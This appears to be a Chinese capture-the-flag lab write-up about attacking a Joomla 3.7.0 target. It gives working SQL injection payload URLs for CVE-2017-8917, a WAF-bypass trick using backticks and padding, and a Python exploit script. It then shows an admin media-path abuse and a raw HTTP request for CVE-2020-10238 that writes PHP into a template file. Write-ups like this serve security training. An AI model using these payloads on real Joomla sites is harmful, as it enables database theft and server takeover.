做了好幾天A組,太頂了,全是0day,不知道遠程環境的問題還是什么,跟着復現一直打不下來,就先肝了B組,A組有時間再搞了
信息收集
http://awd19-b22.aqlab.cn/language/en-GB/en-GB.xml
信息泄露 Joomla v3.7.0
搜到CVE-2017-8917,Joomla v3.7.0 SQL注入漏洞,直接拿POC打了
但是發現有waf,經過嘗試后發現,函數加反引號可以繞過過濾
再掃一掃,看能不能找到后台
訪問/admincp,進入后台登陸頁面
sql注入
爆user:
http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,user()),1)
爆庫名:
http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,database()),1) joomla
爆表名
發現失敗,測試發現過濾了select from 組合
常見的繞過方法都試了一下,不行。只能嘗試耗盡資源了
編寫exp
import requests
url = 'http://awd19-b22.aqlab.cn/'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"
}
for i in range(2500,9999):
payload1 = '`updatexml`(0x23,concat'
payload2 = "/*"+"ABC"*i+"*/(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)"
payload = payload1 + payload2
data = {
"option":"com_fields",
"view":"fields",
"layout":"modal",
"list[fullordering]":payload
}
print(i)
re = requests.post(url,headers=headers,data=data).text
print(data)
print(re)
if "url" not in re:
print(payload)
print(re)
大概要七八千個字符的樣子吧
跑表名:
找到像有flag的表
跑列名:
id和passwd
select id from #__user_flag
select passwd from #__user_flag
利用賬號密碼成功登陸后台
訪問根目錄
在內容管理|多媒體文件管理|默認設置中可以更改默認上傳路徑,想改格式但是權限不夠
但是沒關系,再返回多媒體文件管理處,此時可查看的文件目錄已經變成根目錄,發現flag
越權
尋找Joomla漏洞,發現CVE-2020-10238
想嘗試直接用poc打,試了一下普通管理員用戶,失敗
思路:(借用零組文庫中的)
- 首先超級管理員跟管理員的后台界面是不同的
- 將惡意代碼添加到index.php里面
- 使用管理員賬戶修改index.php,通過超級管理員進行index.php的文件編輯來獲取到返回請求。
POST /administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA HTTP/1.1
Host: awd19-b22.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Origin: http://awd19-b22.aqlab.cn
Connection: close
Referer: http://awd19-b22.aqlab.cn/administrator/index.php?option=com_templates
Cookie: 130278f82abbc8f1ceb3ac4309021b2b=slam3h7l6okovrs20tvp1fesq0; security_background_key=9b7cb5d77dcd0fd33bcc81776e969fbc; 690431198df27d8fa794457ed53cca89=bffrsha2dq6ueau37ssp0pf176
Upgrade-Insecure-Requests: 1
jform%5Bsource%5D=<?php phpinfo() ?>&task=template.save&7f2ce2c7034f63a9d01ad505d26d83ee=1&jform%5Bextension_id%5D=506&jform%5Bfilename%5D=%2Ferror.php
提交如上數據包,訪問/templates/protostar/error.php
phpinfo成功執行
由於有waf,就不寫shell了,直接ls爆路徑,爆出flag即可